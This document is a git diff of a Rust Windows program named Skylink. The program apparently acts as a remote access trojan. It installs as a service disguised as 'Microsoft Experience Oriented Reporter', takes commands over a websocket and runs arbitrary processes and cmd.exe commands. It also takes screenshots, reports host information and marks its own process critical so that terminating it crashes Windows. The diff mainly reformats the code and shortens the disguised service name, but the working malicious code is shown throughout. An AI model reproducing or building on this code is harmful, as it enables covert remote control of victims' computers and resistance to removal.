diff --git a/src/lib.rs b/src/lib.rs index b11a7e6..e389771 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,7 +1,6 @@ use futures_util::stream::SplitSink; use lib::winapi::low_tier_god; use serde::{Deserialize, Serialize}; -use serde_json::json; use std::sync::Arc; use tokio::{net::TcpStream, sync::Mutex}; use tokio_tungstenite::tungstenite::protocol::Message; @@ -45,7 +44,7 @@ pub enum Command { ClientInfo, Dnx { params: DnxParams }, Screenshot, - LowTierGod, + LowTierGod } pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { @@ -57,7 +56,6 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await; let proc = std::process::Command::new(command).args(args).output()?; return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string()); - // return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string()) } Command::URunCMD { command } => { let formatted_param = format!("cmd.exe /c \"{command}\""); @@ -80,12 +78,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { Command::ClientInfo => { let hostname = sysinfo::System::host_name(); let skylink_ver = "1.0.0"; - if let Some(actual_hostname) = hostname { - // Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) - Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string()) - } else { - Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string()) - } + if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) } } Command::Dnx { params } => { log(LogLevel::Debug, LOG_PATH, format!("s1")).await; @@ -128,11 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { } // this was way easier than i expected... assuming it works :pilgrim2: Ok(format!("")) - } + }, Command::LowTierGod => { - let _ = low_tier_god().await; // if this fails you're fucked - Ok(format!("")) - } + let _ = low_tier_god().await; // if this fails you're fucked + Ok(format!("")) + }, _ => todo!(), } } diff --git a/src/lib/logger.rs b/src/lib/logger.rs index 7bffad6..2d46ea2 100644 --- a/src/lib/logger.rs +++ b/src/lib/logger.rs @@ -38,21 +38,10 @@ pub async fn log(level: LogLevel, path: &str, detail: String) { } }; - let debug_mode = cfg!(debug_assertions); - if !(level == LogLevel::Debug) { - println!("{}", ansi_string); + println!("{}", ansi_string); - if let Err(e) = logfile.write(logfile_string.as_bytes()) { - eprintln!("Got error {:?} while trying to write to logfile.", e); - } - } else { - if debug_mode { - println!("{}", ansi_string); - - if let Err(e) = logfile.write(logfile_string.as_bytes()) { - eprintln!("Got error {:?} while trying to write to logfile.", e); - } - } + if let Err(e) = logfile.write(logfile_string.as_bytes()) { + eprintln!("Got error {:?} while trying to write to logfile.", e); } } } diff --git a/src/lib/websockets.rs b/src/lib/websockets.rs index f7ff2f7..6e54842 100644 --- a/src/lib/websockets.rs +++ b/src/lib/websockets.rs @@ -1,6 +1,5 @@ use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log}; use futures_util::{SinkExt, StreamExt}; -use serde_json::json; use tokio_tungstenite::connect_async; use tokio_tungstenite::tungstenite::{Bytes, Message}; @@ -93,7 +92,7 @@ pub async fn websocket_handler(ws_tx: WsTx) { let mut unlocked_ws_tx = ws_tx.lock().await; if let Some(h) = unlocked_ws_tx.as_mut() { - let response_msg = json!({ "err": "null", "out": v }).to_string(); + let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}"); if let Err(e) = h.send(response_msg.into()).await { log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await; diff --git a/src/lib/winapi.rs b/src/lib/winapi.rs index de4e201..b9bd1cf 100644 --- a/src/lib/winapi.rs +++ b/src/lib/winapi.rs @@ -92,29 +92,43 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> { } pub fn mark_process_critical() -> anyhow::Result<()> { - use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; - use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; - - unsafe { - // NtCurrentProcess pseudo-handle (-1) - let handle: HANDLE = (-1isize) as usize as *mut c_void; - let mut critical: u32 = 1; - let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::() as u32); - if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) } - } + use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; + use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; + + unsafe { + // NtCurrentProcess pseudo-handle (-1) + let handle: HANDLE = (-1isize) as usize as *mut c_void; + let mut critical: u32 = 1; + let status = NtSetInformationProcess( + handle, + ProcessBreakOnTermination, + &mut critical as *mut _ as *mut _, + core::mem::size_of::() as u32, + ); + if status == 0 { + Ok(()) + } else { + anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) + } + } } pub async fn low_tier_god() -> anyhow::Result<()> { - use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; - use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; + use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; + use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; - unsafe { - // NtCurrentProcess pseudo-handle (-1) - let handle: HANDLE = (-1isize) as usize as *mut c_void; - let mut critical: u32 = 0; - let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::() as u32); - assert_eq!(status, 0); - } + unsafe { + // NtCurrentProcess pseudo-handle (-1) + let handle: HANDLE = (-1isize) as usize as *mut c_void; + let mut critical: u32 = 0; + let status = NtSetInformationProcess( + handle, + ProcessBreakOnTermination, + &mut critical as *mut _ as *mut _, + core::mem::size_of::() as u32, + ); + assert_eq!(status, 0); + } - std::process::exit(1); + std::process::exit(1); } diff --git a/src/main.rs b/src/main.rs index 39c95f8..53ac09d 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,40 +1,43 @@ -use skylink::LOG_PATH; -use skylink::WsTx; use skylink::lib::logger::{LogLevel, log}; use skylink::lib::websockets::websocket_handler; use skylink::lib::winapi::mark_process_critical; -use std::ffi::OsString; +use skylink::LOG_PATH; +use skylink::WsTx; use std::sync::Arc; -use std::sync::mpsc::channel; -use std::time::Duration; use tokio::sync::Mutex; +use std::ffi::OsString; +use std::time::Duration; +use std::sync::mpsc::channel; use windows_service::{ - define_windows_service, - service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType}, - service_control_handler::{self, ServiceControlHandlerResult}, - service_dispatcher, + define_windows_service, + service::{ + ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, + ServiceType, + }, + service_control_handler::{self, ServiceControlHandlerResult}, + service_dispatcher, }; -const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter Yacc (Debug Enableable Version)"; +const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter"; const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS; fn main() -> Result<(), Box> { - // Initialize logging + // Initialize logging - // Check if we are in a Debug build AND the environment variable is set - let is_debug_mode = cfg!(debug_assertions); - let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok(); + // Check if we are in a Debug build AND the environment variable is set + let is_debug_mode = cfg!(debug_assertions); + let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok(); - if is_debug_mode && force_console { - println!("Detected Debug Env Var: Running as console application..."); - run_as_console()?; - } else { - // Run as a Windows Service - run_as_service()?; - } + if is_debug_mode && force_console { + println!("Detected Debug Env Var: Running as console application..."); + run_as_console()?; + } else { + // Run as a Windows Service + run_as_service()?; + } - Ok(()) + Ok(()) } // ------------------------------------------------------------------------- @@ -45,9 +48,7 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx_for_handler = Arc::clone(&ws_tx); - tokio::spawn(async { - websocket_handler(ws_tx_for_handler).await; - }); + tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; }); // this isn't necessary for program functioning // and also error handling this is a PITA @@ -55,15 +56,15 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { let is_debug_mode = cfg!(debug_assertions); let force_console = std::env::var("SKL_NON_CRITICAL").is_ok(); if !(is_debug_mode && force_console) { - let _ = mark_process_critical(); + let _ = mark_process_critical(); } - // Wait for the shutdown signal - tokio::select! { - _ = shutdown_rx.recv() => { - log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await; - } - } + // Wait for the shutdown signal + tokio::select! { + _ = shutdown_rx.recv() => { + log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await; + } + } } // ------------------------------------------------------------------------- @@ -71,27 +72,27 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { // ------------------------------------------------------------------------- fn run_as_console() -> Result<(), Box> { - // Manually build the runtime because main() is synchronous - let rt = tokio::runtime::Runtime::new()?; + // Manually build the runtime because main() is synchronous + let rt = tokio::runtime::Runtime::new()?; - rt.block_on(async { - // Create a channel to signal shutdown - let (tx, rx) = tokio::sync::broadcast::channel(1); + rt.block_on(async { + // Create a channel to signal shutdown + let (tx, rx) = tokio::sync::broadcast::channel(1); - // Handle Ctrl+C to behave like a polite console app - let tx_clone = tx.clone(); - tokio::spawn(async move { - if let Ok(()) = tokio::signal::ctrl_c().await { - println!("\nCtrl+C detected."); - let _ = tx_clone.send(()); - } + // Handle Ctrl+C to behave like a polite console app + let tx_clone = tx.clone(); + tokio::spawn(async move { + if let Ok(()) = tokio::signal::ctrl_c().await { + println!("\nCtrl+C detected."); + let _ = tx_clone.send(()); + } + }); + + // Run the app + run_app(rx).await; }); - // Run the app - run_app(rx).await; - }); - - Ok(()) + Ok(()) } // ------------------------------------------------------------------------- @@ -102,62 +103,77 @@ fn run_as_console() -> Result<(), Box> { define_windows_service!(ffi_service_main, my_service_main); fn run_as_service() -> Result<(), windows_service::Error> { - service_dispatcher::start(SERVICE_NAME, ffi_service_main) + service_dispatcher::start(SERVICE_NAME, ffi_service_main) } fn my_service_main(_arguments: Vec) { - // 1. Setup the event handler to communicate with the OS - let (shutdown_tx, shutdown_rx) = channel(); + // 1. Setup the event handler to communicate with the OS + let (shutdown_tx, shutdown_rx) = channel(); - let event_handler = move |control_event| -> ServiceControlHandlerResult { - match control_event { - ServiceControl::Stop | ServiceControl::Interrogate => { - // Signal the logic to stop - let _ = shutdown_tx.send(()); - ServiceControlHandlerResult::NoError - } - _ => ServiceControlHandlerResult::NotImplemented, + let event_handler = move |control_event| -> ServiceControlHandlerResult { + match control_event { + ServiceControl::Stop | ServiceControl::Interrogate => { + // Signal the logic to stop + let _ = shutdown_tx.send(()); + ServiceControlHandlerResult::NoError + } + _ => ServiceControlHandlerResult::NotImplemented, + } + }; + + let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) { + Ok(h) => h, + Err(e) => { + eprintln!("Failed to register service control handler: {}", e); + return; + } + }; + + // 2. Tell Windows we are running + let next_status = ServiceStatus { + service_type: SERVICE_TYPE, + current_state: ServiceState::Running, + controls_accepted: ServiceControlAccept::STOP, + exit_code: ServiceExitCode::Win32(0), + checkpoint: 0, + wait_hint: Duration::default(), + process_id: None, + }; + if let Err(e) = status_handle.set_service_status(next_status) { + eprintln!("Failed to set service status: {}", e); } - }; - let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) { - Ok(h) => h, - Err(e) => { - eprintln!("Failed to register service control handler: {}", e); - return; - } - }; + // 3. Start Tokio Runtime and Block + // We create the runtime here because we are on the service thread provided by Windows. + let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod - // 2. Tell Windows we are running - let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None }; - if let Err(e) = status_handle.set_service_status(next_status) { - eprintln!("Failed to set service status: {}", e); - } + rt.block_on(async move { + let (async_tx, async_rx) = tokio::sync::broadcast::channel(1); - // 3. Start Tokio Runtime and Block - // We create the runtime here because we are on the service thread provided by Windows. - let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod + // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel + tokio::spawn(async move { + // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking + // or just poll it if we expect it to be rare. + // Since this is the main logic block, we can just check it in a separate thread. + let _ = tokio::task::spawn_blocking(move || { + let _ = shutdown_rx.recv(); // Block waiting for OS stop command + }).await; + + let _ = async_tx.send(()); // Tell app to stop + }); - rt.block_on(async move { - let (async_tx, async_rx) = tokio::sync::broadcast::channel(1); - - // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel - tokio::spawn(async move { - // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking - // or just poll it if we expect it to be rare. - // Since this is the main logic block, we can just check it in a separate thread. - let _ = tokio::task::spawn_blocking(move || { - let _ = shutdown_rx.recv(); // Block waiting for OS stop command - }) - .await; - - let _ = async_tx.send(()); // Tell app to stop + run_app(async_rx).await; }); - run_app(async_rx).await; - }); - - // 4. Tell Windows we have stopped - let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None }; - let _ = status_handle.set_service_status(stop_status); + // 4. Tell Windows we have stopped + let stop_status = ServiceStatus { + service_type: SERVICE_TYPE, + current_state: ServiceState::Stopped, + controls_accepted: ServiceControlAccept::empty(), + exit_code: ServiceExitCode::Win32(0), + checkpoint: 0, + wait_hint: Duration::default(), + process_id: None, + }; + let _ = status_handle.set_service_status(stop_status); }